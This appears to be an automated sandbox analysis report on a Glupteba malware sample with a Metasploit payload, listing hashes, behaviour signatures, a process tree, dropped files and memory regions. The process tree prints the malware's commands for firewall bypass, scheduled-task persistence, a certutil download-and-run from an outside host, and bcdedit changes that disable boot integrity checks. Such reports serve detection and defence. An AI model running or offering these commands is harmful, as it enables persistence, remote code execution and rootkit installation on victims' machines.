Analysis

  • max time kernel
    131s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    14-06-2022 20:03

General

  • Target

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

  • Size

    3.8MB

  • MD5

    0008ce45286bd379fd0ca42e9fb79b0d

  • SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

  • SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

  • SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 8 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
    "C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1376
    • C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
      "C:\Users\Admin\AppData\Local\Temp\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:776
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1816
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1652
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1520
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Modifies system certificate store
          PID:996
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:764
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1192
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1832
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1660
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1060
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1820
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:976
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:460
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1636
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1504
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:884
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1944
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1040
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:108
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:696
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220614223307.log C:\Windows\Logs\CBS\CbsPersist_20220614223307.cab
    1⤵
    • Drops file in Windows directory
    PID:1820

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    0008ce45286bd379fd0ca42e9fb79b0d

    SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

    SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

    SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

  • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    0008ce45286bd379fd0ca42e9fb79b0d

    SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

    SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

    SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

  • \Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    0008ce45286bd379fd0ca42e9fb79b0d

    SHA1

    36a1027956ca5db32a88ae77cae4451407d5cf06

    SHA256

    2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

    SHA512

    24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

  • memory/108-78-0x0000000000000000-mapping.dmp

  • memory/684-68-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/684-72-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/684-63-0x00000000034B0000-0x0000000003857000-memory.dmp

    Filesize

    3.7MB

  • memory/684-59-0x00000000034B0000-0x0000000003857000-memory.dmp

    Filesize

    3.7MB

  • memory/696-80-0x0000000000000000-mapping.dmp

  • memory/776-62-0x000007FEFBF91000-0x000007FEFBF93000-memory.dmp

    Filesize

    8KB

  • memory/776-61-0x0000000000000000-mapping.dmp

  • memory/996-77-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1364-60-0x0000000000000000-mapping.dmp

  • memory/1376-58-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/1376-54-0x0000000003590000-0x0000000003937000-memory.dmp

    Filesize

    3.7MB

  • memory/1376-57-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/1376-56-0x0000000003940000-0x0000000004142000-memory.dmp

    Filesize

    8.0MB

  • memory/1376-55-0x0000000003590000-0x0000000003937000-memory.dmp

    Filesize

    3.7MB

  • memory/1816-71-0x0000000003A80000-0x0000000004282000-memory.dmp

    Filesize

    8.0MB

  • memory/1816-73-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/1816-70-0x00000000036D0000-0x0000000003A77000-memory.dmp

    Filesize

    3.7MB

  • memory/1816-69-0x00000000036D0000-0x0000000003A77000-memory.dmp

    Filesize

    3.7MB

  • memory/1816-76-0x0000000000400000-0x000000000334F000-memory.dmp

    Filesize

    47.3MB

  • memory/1816-66-0x0000000000000000-mapping.dmp